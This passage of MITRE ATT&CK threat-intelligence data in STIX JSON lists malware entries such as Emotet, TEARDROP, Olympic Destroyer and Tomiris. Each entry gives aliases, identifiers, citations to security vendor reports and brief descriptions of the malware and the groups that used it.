","x_mitre_version":"1.0","x_mitre_attack_spec_version":"2.1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"labels":["malware"],"x_mitre_platforms":["Windows"],"x_mitre_domains":["enterprise-attack"],"x_mitre_contributors":[],"x_mitre_aliases":["CosmicDuke","TinyBaron","BotgenStudios","NemesisGemina"],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"malware--2eb9b131-d333-4a48-9eb4-d8dec46c19ee","type":"malware","created":"2017-05-31T21:32:36.550Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"mitre-attack","url":"https://attack.mitre.org/software/S0050","external_id":"S0050"},{"source_name":"F-Secure The Dukes","description":"F-Secure Labs. (2015, September 17). The Dukes: 7 years of Russian cyberespionage. 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(Citation: F-Secure The Dukes)","x_mitre_version":"1.1","x_mitre_attack_spec_version":"2.1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"labels":["malware"],"x_mitre_platforms":["Windows"],"x_mitre_domains":["enterprise-attack"],"x_mitre_contributors":[],"x_mitre_aliases":["EvilGrab"],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"malware--2f1a9fd0-3b7c-4d77-a358-78db13adbe78","type":"malware","created":"2017-12-14T16:46:06.044Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"mitre-attack","url":"https://attack.mitre.org/software/S0152","external_id":"S0152"},{"source_name":"PWC Cloud Hopper Technical Annex April 2017","description":"PwC and BAE Systems. (2017, April). Operation Cloud Hopper: Technical Annex. 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(Citation: PWC Cloud Hopper Technical Annex April 2017)","x_mitre_version":"1.1","x_mitre_attack_spec_version":"2.1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"labels":["malware"],"x_mitre_platforms":["Windows"],"x_mitre_domains":["enterprise-attack"],"x_mitre_contributors":[],"x_mitre_aliases":["EnvyScout"],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"malware--2f8229dc-da94-41c6-89ba-b5b6c32f6b7d","type":"malware","created":"2021-08-02T15:31:32.397Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"external_id":"S0634","source_name":"mitre-attack","url":"https://attack.mitre.org/software/S0634"},{"source_name":"MSTIC Nobelium Toolset May 2021","url":"https://www.microsoft.com/security/blog/2021/05/28/breaking-down-nobeliums-latest-early-stage-toolset/","description":"MSTIC. (2021, May 28). Breaking down NOBELIUM’s latest early-stage toolset. Retrieved August 4, 2021."}],"modified":"2021-10-16T01:24:29.056Z","name":"EnvyScout","description":"[EnvyScout](https://attack.mitre.org/software/S0634) is a dropper that has been used by [APT29](https://attack.mitre.org/groups/G0016) since at least 2021.(Citation: MSTIC Nobelium Toolset May 2021)","x_mitre_version":"1.0","x_mitre_attack_spec_version":"2.1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"labels":["malware"],"x_mitre_platforms":["Windows"],"x_mitre_domains":["enterprise-attack"],"x_mitre_contributors":[],"x_mitre_aliases":["SslMM"],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"malware--2fb26586-2b53-4b9a-ad4f-2b3bcb9a2421","type":"malware","created":"2017-05-31T21:32:39.606Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"external_id":"S0058","url":"https://attack.mitre.org/software/S0058","source_name":"mitre-attack"},{"source_name":"Baumgartner Naikon 2015","description":"Baumgartner, K., Golovkin, M.. (2015, May). The MsnMM Campaigns: The Earliest Naikon APT Campaigns. Retrieved April 10, 2019.","url":"https://media.kasperskycontenthub.com/wp-content/uploads/sites/43/2018/03/07205555/TheNaikonAPT-MsnMM1.pdf"}],"modified":"2020-03-18T15:53:57.549Z","name":"SslMM","description":"[SslMM](https://attack.mitre.org/software/S0058) is a full-featured backdoor used by [Naikon](https://attack.mitre.org/groups/G0019) that has multiple variants. (Citation: Baumgartner Naikon 2015)","x_mitre_version":"1.1","x_mitre_attack_spec_version":"2.1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"labels":["malware"],"x_mitre_platforms":["Windows"],"x_mitre_domains":["enterprise-attack"],"x_mitre_contributors":[],"x_mitre_aliases":["GreyEnergy"],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"malware--308b3d68-a084-4dfb-885a-3125e1a9c1e8","type":"malware","created":"2019-01-30T13:53:14.264Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"external_id":"S0342","source_name":"mitre-attack","url":"https://attack.mitre.org/software/S0342"},{"source_name":"GreyEnergy","description":"(Citation: ESET GreyEnergy Oct 2018)"},{"description":"Cherepanov, A. (2018, October). GREYENERGY A successor to BlackEnergy. Retrieved November 15, 2018.","url":"https://www.welivesecurity.com/wp-content/uploads/2018/10/ESET_GreyEnergy.pdf","source_name":"ESET GreyEnergy Oct 2018"}],"modified":"2020-03-30T16:44:35.685Z","name":"GreyEnergy","description":"[GreyEnergy](https://attack.mitre.org/software/S0342) is a backdoor written in C and compiled in Visual Studio. [GreyEnergy](https://attack.mitre.org/software/S0342) shares similarities with the [BlackEnergy](https://attack.mitre.org/software/S0089) malware and is thought to be the successor of it.(Citation: ESET GreyEnergy Oct 2018)","x_mitre_version":"1.1","x_mitre_attack_spec_version":"2.1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"labels":["malware"],"x_mitre_platforms":[],"x_mitre_domains":["enterprise-attack"],"x_mitre_contributors":[],"x_mitre_aliases":[],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"type":"malware","id":"malware--310f437b-29e7-4844-848c-7220868d074a","created":"2018-04-18T17:59:24.739Z","x_mitre_version":"1.0","external_references":[{"source_name":"mitre-attack","external_id":"S0209","url":"https://attack.mitre.org/software/S0209"}],"x_mitre_deprecated":false,"revoked":true,"description":"","modified":"2022-04-21T18:18:58.351Z","name":"Darkmoon","x_mitre_attack_spec_version":"2.1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"labels":["malware"],"x_mitre_platforms":["Windows"],"x_mitre_domains":["enterprise-attack"],"x_mitre_contributors":[],"x_mitre_aliases":["Aria-body"],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"malware--3161d76a-e2b2-4b97-9906-24909b735386","type":"malware","created":"2020-05-26T19:36:04.663Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"external_id":"S0456","source_name":"mitre-attack","url":"https://attack.mitre.org/software/S0456"},{"source_name":"CheckPoint Naikon May 2020","url":"https://research.checkpoint.com/2020/naikon-apt-cyber-espionage-reloaded/","description":"CheckPoint. (2020, May 7). Naikon APT: Cyber Espionage Reloaded. Retrieved May 26, 2020."}],"modified":"2021-08-19T17:58:43.342Z","name":"Aria-body","description":"[Aria-body](https://attack.mitre.org/software/S0456) is a custom backdoor that has been used by [Naikon](https://attack.mitre.org/groups/G0019) since approximately 2017.(Citation: CheckPoint Naikon May 2020)","x_mitre_version":"1.1","x_mitre_attack_spec_version":"2.1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"labels":["malware"],"x_mitre_platforms":["Windows"],"x_mitre_domains":["enterprise-attack"],"x_mitre_contributors":["Omkar Gudhate"],"x_mitre_aliases":["Emotet","Geodo"],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"malware--32066e94-3112-48ca-b9eb-ba2b59d2f023","type":"malware","created":"2019-03-25T18:35:14.353Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"external_id":"S0367","source_name":"mitre-attack","url":"https://attack.mitre.org/software/S0367"},{"source_name":"Emotet","description":"(Citation: Trend Micro Banking Malware Jan 2019)(Citation: Kaspersky Emotet Jan 2019)(Citation: CIS Emotet Apr 2017)(Citation: Malwarebytes Emotet Dec 2017)(Citation: Symantec Emotet Jul 2018)(Citation: US-CERT Emotet Jul 2018)(Citation: ESET Emotet Nov 2018)(Citation: Secureworks Emotet Nov 2018)(Citation: Talos Emotet Jan 2019)(Citation: Trend Micro Emotet Jan 2019)(Citation: CIS Emotet Dec 2018)(Citation: Picus Emotet Dec 2018)(Citation: Red Canary Emotet Feb 2019) "},{"source_name":"Geodo","description":"(Citation: Trend Micro Emotet Jan 2019)"},{"source_name":"Trend Micro Banking Malware Jan 2019","url":"https://blog.trendmicro.com/trendlabs-security-intelligence/new-banking-malware-uses-network-sniffing-for-data-theft/","description":"Salvio, J.. (2014, June 27). New Banking Malware Uses Network Sniffing for Data Theft. Retrieved March 25, 2019."},{"source_name":"Kaspersky Emotet Jan 2019","url":"https://securelist.com/the-banking-trojan-emotet-detailed-analysis/69560/","description":"Shulmin, A. . (2015, April 9). The Banking Trojan Emotet: Detailed Analysis. Retrieved March 25, 2019."},{"source_name":"CIS Emotet Apr 2017","url":"https://www.cisecurity.org/blog/emotet-changes-ttp-and-arrives-in-united-states/","description":"CIS. (2017, April 28). Emotet Changes TTPs and Arrives in United States. Retrieved January 17, 2019."},{"source_name":"Malwarebytes Emotet Dec 2017","url":"https://support.malwarebytes.com/docs/DOC-2295","description":"Smith, A.. (2017, December 22). Protect your network from Emotet Trojan with Malwarebytes Endpoint Security. Retrieved January 17, 2019."},{"source_name":"Symantec Emotet Jul 2018","url":"https://www.symantec.com/blogs/threat-intelligence/evolution-emotet-trojan-distributor","description":"Symantec. (2018, July 18). The Evolution of Emotet: From Banking Trojan to Threat Distributor. Retrieved March 25, 2019."},{"source_name":"US-CERT Emotet Jul 2018","url":"https://www.us-cert.gov/ncas/alerts/TA18-201A","description":"US-CERT. (2018, July 20). Alert (TA18-201A) Emotet Malware. Retrieved March 25, 2019."},{"description":"ESET . (2018, November 9). Emotet launches major new spam campaign. Retrieved March 25, 2019.","url":"https://www.welivesecurity.com/2018/11/09/emotet-launches-major-new-spam-campaign/","source_name":"ESET Emotet Nov 2018"},{"source_name":"Secureworks Emotet Nov 2018","url":"https://www.secureworks.com/blog/lazy-passwords-become-rocket-fuel-for-emotet-smb-spreader","description":"Mclellan, M.. (2018, November 19). Lazy Passwords Become Rocket Fuel for Emotet SMB Spreader. Retrieved March 25, 2019."},{"source_name":"Talos Emotet Jan 2019","url":"https://blog.talosintelligence.com/2019/01/return-of-emotet.html","description":"Brumaghin, E.. (2019, January 15). Emotet re-emerges after the holidays. Retrieved March 25, 2019."},{"source_name":"Trend Micro Emotet Jan 2019","url":"https://documents.trendmicro.com/assets/white_papers/ExploringEmotetsActivities_Final.pdf","description":"Trend Micro. (2019, January 16). Exploring Emotet's Activities . Retrieved March 25, 2019."},{"source_name":"CIS Emotet Dec 2018","url":"https://www.cisecurity.org/white-papers/ms-isac-security-primer-emotet/","description":"CIS. (2018, December 12). MS-ISAC Security Primer- Emotet. Retrieved March 25, 2019."},{"source_name":"Picus Emotet Dec 2018","url":"https://www.picussecurity.com/blog/the-christmas-card-you-never-wanted-a-new-wave-of-emotet-is-back-to-wreak-havoc.html","description":"Özarslan, S. (2018, December 21). The Christmas Card you never wanted - A new wave of Emotet is back to wreak havoc. Retrieved March 25, 2019."},{"source_name":"Red Canary Emotet Feb 2019","url":"https://redcanary.com/blog/stopping-emotet-before-it-moves-laterally/","description":"Donohue, B.. (2019, February 13). https://redcanary.com/blog/stopping-emotet-before-it-moves-laterally/. Retrieved March 25, 2019."}],"modified":"2020-11-24T20:15:54.954Z","name":"Emotet","description":"[Emotet](https://attack.mitre.org/software/S0367) is a modular malware variant which is primarily used as a downloader for other malware variants such as [TrickBot](https://attack.mitre.org/software/S0266) and [IcedID](https://attack.mitre.org/software/S0483). Emotet first emerged in June 2014 and has been primarily used to target the banking sector. (Citation: Trend Micro Banking Malware Jan 2019)","x_mitre_version":"1.3","x_mitre_attack_spec_version":"2.1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"labels":["malware"],"x_mitre_platforms":["Windows"],"x_mitre_domains":["enterprise-attack"],"x_mitre_contributors":[],"x_mitre_aliases":["SNUGRIDE"],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"malware--3240cbe4-c550-443b-aa76-cc2a7058b870","type":"malware","created":"2017-12-14T16:46:06.044Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"mitre-attack","url":"https://attack.mitre.org/software/S0159","external_id":"S0159"},{"source_name":"SNUGRIDE","description":"(Citation: FireEye APT10 April 2017)"},{"url":"https://www.fireeye.com/blog/threat-research/2017/04/apt10_menupass_grou.html","description":"FireEye iSIGHT Intelligence. (2017, April 6). APT10 (MenuPass Group): New Tools, Global Campaign Latest Manifestation of Longstanding Threat. Retrieved June 29, 2017.","source_name":"FireEye APT10 April 2017"}],"modified":"2020-03-30T18:11:04.830Z","name":"SNUGRIDE","description":"[SNUGRIDE](https://attack.mitre.org/software/S0159) is a backdoor that has been used by [menuPass](https://attack.mitre.org/groups/G0045) as first stage malware. (Citation: FireEye APT10 April 2017)","x_mitre_version":"1.1","x_mitre_attack_spec_version":"2.1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"labels":["malware"],"x_mitre_platforms":["Windows"],"x_mitre_domains":["enterprise-attack"],"x_mitre_contributors":[],"x_mitre_aliases":["Olympic Destroyer"],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"malware--3249e92a-870b-426d-8790-ba311c1abfb4","type":"malware","created":"2019-03-25T14:07:22.547Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"external_id":"S0365","source_name":"mitre-attack","url":"https://attack.mitre.org/software/S0365"},{"source_name":"Talos Olympic Destroyer 2018","url":"https://blog.talosintelligence.com/2018/02/olympic-destroyer.html","description":"Mercer, W. and Rascagneres, P. (2018, February 12). Olympic Destroyer Takes Aim At Winter Olympics. Retrieved March 14, 2019."},{"source_name":"US District Court Indictment GRU Unit 74455 October 2020","url":"https://www.justice.gov/opa/press-release/file/1328521/download","description":"Scott W. Brady. (2020, October 15). United States vs. Yuriy Sergeyevich Andrienko et al.. Retrieved November 25, 2020."}],"modified":"2021-04-23T19:32:38.936Z","name":"Olympic Destroyer","description":"[Olympic Destroyer](https://attack.mitre.org/software/S0365) is malware that was used by [Sandworm Team](https://attack.mitre.org/groups/G0034) against the 2018 Winter Olympics, held in Pyeongchang, South Korea. The main purpose of the malware was to render infected computer systems inoperable. The malware leverages various native Windows utilities and API calls to carry out its destructive tasks. [Olympic Destroyer](https://attack.mitre.org/software/S0365) has worm-like features to spread itself across a computer network in order to maximize its destructive impact.(Citation: Talos Olympic Destroyer 2018)(Citation: US District Court Indictment GRU Unit 74455 October 2020) ","x_mitre_version":"2.0","x_mitre_attack_spec_version":"2.1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"labels":["malware"],"x_mitre_platforms":["Windows"],"x_mitre_domains":["enterprise-attack"],"x_mitre_contributors":[],"x_mitre_aliases":["Crimson","MSIL/Crimson"],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"malware--326af1cd-78e7-45b7-a326-125d2f7ef8f2","type":"malware","created":"2017-05-31T21:33:08.679Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"mitre-attack","url":"https://attack.mitre.org/software/S0115","external_id":"S0115"},{"source_name":"MSIL/Crimson","description":"(Citation: Proofpoint Operation Transparent Tribe March 2016)"},{"url":"https://www.proofpoint.com/sites/default/files/proofpoint-operation-transparent-tribe-threat-insight-en.pdf","description":"Huss, D. (2016, March 1). Operation Transparent Tribe. Retrieved June 8, 2016.","source_name":"Proofpoint Operation Transparent Tribe March 2016"},{"source_name":"Kaspersky Transparent Tribe August 2020","url":"https://securelist.com/transparent-tribe-part-1/98127/","description":"Dedola, G. (2020, August 20). Transparent Tribe: Evolution analysis, part 1. Retrieved September 2, 2021."}],"modified":"2021-10-15T18:54:53.268Z","name":"Crimson","description":"[Crimson](https://attack.mitre.org/software/S0115) is a remote access Trojan that has been used by [Transparent Tribe](https://attack.mitre.org/groups/G0134) since at least 2016.(Citation: Proofpoint Operation Transparent Tribe March 2016)(Citation: Kaspersky Transparent Tribe August 2020)","x_mitre_version":"1.2","x_mitre_attack_spec_version":"2.1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"labels":["malware"],"x_mitre_platforms":[],"x_mitre_domains":["enterprise-attack"],"x_mitre_contributors":["Craig Smith, BT Security"],"x_mitre_aliases":["Tomiris"],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"type":"malware","id":"malware--327b3a25-9e60-4431-b3b6-93b9c64eacbc","created":"2021-12-29T14:47:19.862Z","x_mitre_version":"1.0","external_references":[{"source_name":"mitre-attack","external_id":"S0671","url":"https://attack.mitre.org/software/S0671"},{"source_name":"Kaspersky Tomiris Sep 2021","url":"https://securelist.com/darkhalo-after-solarwinds-the-tomiris-connection/104311/","description":"Kwiatkoswki, I. and Delcher, P. (2021, September 29). DarkHalo After SolarWinds: the Tomiris connection. Retrieved December 27, 2021."}],"x_mitre_deprecated":false,"revoked":false,"description":"[Tomiris](https://attack.mitre.org/software/S0671) is a backdoor written in Go that continuously queries its C2 server for executables to download and execute on a victim system. It was first reported in September 2021 during an investigation of a successful DNS hijacking campaign against a Commonwealth of Independent States (CIS) member. Security researchers assess there are similarities between [Tomiris](https://attack.mitre.org/software/S0671) and [GoldMax](https://attack.mitre.org/software/S0588).(Citation: Kaspersky Tomiris Sep 2021)","modified":"2022-04-15T13:14:08.071Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","name":"Tomiris","x_mitre_attack_spec_version":"2.1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"labels":["malware"],"x_mitre_platforms":["Windows"],"x_mitre_domains":["enterprise-attack"],"x_mitre_contributors":[],"x_mitre_aliases":["TEARDROP"],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"malware--32f49626-87f4-4d6c-8f59-a0dca953fe26","type":"malware","created":"2021-01-06T17:34:43.835Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"external_id":"S0560","source_name":"mitre-attack","url":"https://attack.mitre.org/software/S0560"},{"source_name":"FireEye SUNBURST Backdoor December 2020","url":"https://www.fireeye.com/blog/threat-research/2020/12/evasive-attacker-leverages-solarwinds-supply-chain-compromises-with-sunburst-backdoor.html","description":"FireEye. (2020, December 13). Highly Evasive Attacker Leverages SolarWinds Supply Chain to Compromise Multiple Global Victims With SUNBURST Backdoor. Retrieved January 4, 2021."},{"source_name":"Microsoft Deep Dive Solorigate January 2021","url":"https://www.microsoft.com/security/blog/2021/01/20/deep-dive-into-the-solorigate-second-stage-activation-from-sunburst-to-teardrop-and-raindrop/","description":"MSTIC, CDOC, 365 Defender Research Team. (2021, January 20). Deep dive into the Solorigate second-stage activation: From SUNBURST to TEARDROP and Raindrop . Retrieved January 22, 2021."}],"modified":"2021-04-26T12:13:17.872Z","name":"TEARDROP","description":"[TEARDROP](https://attack.mitre.org/software/S0560) is a memory-only dropper that was discovered on some victim machines during investigations related to the 2020 SolarWinds cyber intrusion. It was likely used by [APT29](https://attack.mitre.org/groups/G0016) since at least May 2020.(Citation: FireEye SUNBURST Backdoor December 2020)(Citation: Microsoft Deep Dive Solorigate January 2021)","x_mitre_version":"1.1","x_mitre_attack_spec_version":"2.1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"labels":["malware"],"x_mitre_platforms":["Windows","Linux"],"x_mitre_domains":["enterprise-attack"],"x_mitre_contributors":["Zaw Min Htun, @Z3TAE"],"x_mitre_aliases":["Turian"],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"malware--350f12cf-fd3b-4dad-b323-14b943090df4","type":"malware","created":"2021-09-21T15:21:31.795Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"external_id":"S0647","source_name":"mitre-attack","url":"https://attack.mitre.org/software/S0647"},{"source_name":"ESET BackdoorDiplomacy Jun 2021","url":"https://www.welivesecurity.com/2021/06/10/backdoordiplomacy-upgrading-quarian-turian/","description":"Adam Burgher. (2021, June 10). BackdoorDiplomacy: Upgrading from Quarian to Turian. Retrieved September 1, 2021"}],"modified":"2021-10-18T13:19:48.020Z","name":"Turian","description":"[Turian](https://attack.mitre.org/software/S0647) is a backdoor that has been used by [BackdoorDiplomacy](https://attack.mitre.org/groups/G0135) to target Ministries of Foreign Affairs, telecommunication companies, and charities in Africa, Europe, the Middle East, and Asia. First reported in 2021, [Turian](https://attack.mitre.org/software/S0647) is likely related to Quarian, an older backdoor that was last observed being used in 2013 against diplomatic targets in Syria and the United States.(Citation: ESET BackdoorDiplomacy Jun 2021)","x_mitre_version":"1.0","x_mitre_attack_spec_version":"2.1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"labels":["malware"],"x_mitre_platforms":["Windows"],"x_mitre_domains":["enterprise-attack"],"x_mitre_contributors":["Matias Nicolas Porolli, ESET"],"x_mitre_aliases":["Machete","Pyark"],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"malware--35cd1d01-1ede-44d2-b073-a264d727bc04","type":"malware","created":"2019-09-13T13:17:25.718Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"external_id":"S0409","source_name":"mitre-attack","url":"https://attack.mitre.org/software/S0409"},{"source_name":"Machete","description":"(Citation: Securelist Machete Aug 2014)"},{"source_name":"Pyark","description":"(Citation: 360 Machete Sep 2020)"},{"source_name":"ESET Machete July 2019","url":"https://www.welivesecurity.com/wp-content/uploads/2019/08/ESET_Machete.pdf","description":"ESET. (2019, July). MACHETE JUST GOT SHARPER Venezuelan government institutions under attack. Retrieved September 13, 2019."},{"source_name":"Securelist Machete Aug 2014","url":"https://securelist.com/el-machete/66108/","description":"Kaspersky Global Research and Analysis Team. (2014, August 20). El Machete. Retrieved September 13, 2019."},{"source_name":"360 Machete Sep 2020","url":"https://blog.360totalsecurity.com/en/apt-c-43-steals-venezuelan-military-secrets-to-provide-intelligence-support-for-the-reactionaries-hpreact-campaign/","description":"kate. (2020, September 25). APT-C-43 steals Venezuelan military secrets to provide intelligence support for the reactionaries — HpReact campaign. Retrieved November 20, 2020."}],"modified":"2021-04-12T03:16:03.258Z","name":"Machete","description":"[Machete](https://attack.mitre.org/software/S0409) is a cyber espionage toolset used by [Machete](https://attack.mitre.org/groups/G0095). It is a Python-based backdoor targeting Windows machines that was first observed in 2010.(Citation: ESET Machete July 2019)(Citation: Securelist Machete Aug 2014)(Citation: 360 Machete Sep 2020)","x_mitre_version":"2.0","x_mitre_attack_spec_version":"2.1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"labels":["malware"],"x_mitre_platforms":["Windows"],"x_mitre_domains":["enterprise-attack"],"x_mitre_contributors":[],"x_mitre_aliases":["Avenger"],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"malware--36ede314-7db4-4d09-b53d-81bbfbe5f6f8","type":"malware","created":"2020-06-11T15:24:48.709Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"external_id":"S0473","source_name":"mitre-attack","url":"https://attack.mitre.org/software/S0473"},{"source_name":"Trend Micro Tick November 2019","url":"https://documents.trendmicro.com/assets/pdf/Operation-ENDTRADE-TICK-s-Multi-Stage-Backdoors-for-Attacking-Industries-and-Stealing-Classified-Data.pdf","description":"Chen, J. et al. (2019, November). Operation ENDTRADE: TICK’s Multi-Stage Backdoors for Attacking Industries and Stealing Classified Data. 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MAR-10296782-2.v1 – WELLMESS. Retrieved September 24, 2020."},{"source_name":"PWC WellMess July 2020","url":"https://www.pwc.co.uk/issues/cyber-security-services/insights/cleaning-up-after-wellmess.html","description":"PWC. (2020, July 16). How WellMess malware has been used to target COVID-19 vaccines. Retrieved September 24, 2020."},{"source_name":"NCSC APT29 July 2020","url":"https://www.ncsc.gov.uk/files/Advisory-APT29-targets-COVID-19-vaccine-development-V1-1.pdf","description":"National Cyber Security Centre. (2020, July 16). Advisory: APT29 targets COVID-19 vaccine development. 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(2020, May 11). New MacOS Dacls RAT Backdoor Shows Lazarus’ Multi-Platform Attack Capability. Retrieved August 10, 2020."},{"source_name":"SentinelOne Lazarus macOS July 2020","url":"https://www.sentinelone.com/blog/four-distinct-families-of-lazarus-malware-target-apples-macos-platform/","description":"Stokes, P. (2020, July 27). Four Distinct Families of Lazarus Malware Target Apple’s macOS Platform. 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(2020, December 9). MOLERATS IN THE CLOUD: New Malware Arsenal Abuses Cloud Platforms in Middle East Espionage Campaign. Retrieved December 22, 2020."},{"source_name":"BleepingComputer Molerats Dec 2020","url":"https://www.bleepingcomputer.com/news/security/hacking-group-s-new-malware-abuses-google-and-facebook-services/","description":"Ilascu, I. (2020, December 14). Hacking group’s new malware abuses Google and Facebook services. Retrieved December 28, 2020."}],"modified":"2021-08-18T23:44:04.697Z","name":"DropBook","description":"[DropBook](https://attack.mitre.org/software/S0547) is a Python-based backdoor compiled with PyInstaller.(Citation: Cybereason Molerats Dec 2020)","x_mitre_version":"1.1","x_mitre_attack_spec_version":"2.1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"labels":["malware"],"x_mitre_platforms":["Windows"],"x_mitre_domains":["enterprise-attack"],"x_mitre_contributors":[],"x_mitre_aliases":["KARAE"],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"malware--3c02fb1f-cbdb-48f5-abaf-8c81d6e0c322","type":"malware","created":"2018-04-18T17:59:24.739Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"mitre-attack","url":"https://attack.mitre.org/software/S0215","external_id":"S0215"},{"source_name":"KARAE","description":"(Citation: FireEye APT37 Feb 2018)"},{"url":"https://www2.fireeye.com/rs/848-DID-242/images/rpt_APT37.pdf","description":"FireEye. (2018, February 20). APT37 (Reaper): The Overlooked North Korean Actor. Retrieved March 1, 2018.","source_name":"FireEye APT37 Feb 2018"}],"modified":"2020-03-30T16:52:22.775Z","name":"KARAE","description":"[KARAE](https://attack.mitre.org/software/S0215) is a backdoor typically used by [APT37](https://attack.mitre.org/groups/G0067) as first-stage malware. (Citation: FireEye APT37 Feb 2018)","x_mitre_version":"1.1","x_mitre_attack_spec_version":"2.1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"labels":["malware"],"x_mitre_platforms":["Windows"],"x_mitre_domains":["enterprise-attack"],"x_mitre_contributors":[],"x_mitre_aliases":["ELMER"],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"malware--3cab1b76-2f40-4cd0-8d2c-7ed16eeb909c","type":"malware","created":"2017-05-31T21:32:43.237Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"mitre-attack","url":"https://attack.mitre.org/software/S0064","external_id":"S0064"},{"source_name":"FireEye EPS Awakens Part 2","description":"Winters, R.. (2015, December 20). The EPS Awakens - Part 2. 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(Citation: FireEye EPS Awakens Part 2)","x_mitre_version":"1.1","x_mitre_attack_spec_version":"2.1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"labels":["malware"],"x_mitre_platforms":["Windows"],"x_mitre_domains":["enterprise-attack"],"x_mitre_contributors":[],"x_mitre_aliases":["PolyglotDuke"],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"malware--3d57dcc4-be99-4613-9482-d5218f5ec13e","type":"malware","created":"2020-09-23T15:42:59.822Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"external_id":"S0518","source_name":"mitre-attack","url":"https://attack.mitre.org/software/S0518"},{"source_name":"ESET Dukes October 2019","url":"https://www.welivesecurity.com/wp-content/uploads/2019/10/ESET_Operation_Ghost_Dukes.pdf","description":"Faou, M., Tartare, M., Dupuy, T. (2019, October). OPERATION GHOST. Retrieved September 23, 2020."}],"modified":"2020-10-09T16:07:59.493Z","name":"PolyglotDuke","description":"[PolyglotDuke](https://attack.mitre.org/software/S0518) is a downloader that has been used by [APT29](https://attack.mitre.org/groups/G0016) since at least 2013. [PolyglotDuke](https://attack.mitre.org/software/S0518) has been used to drop 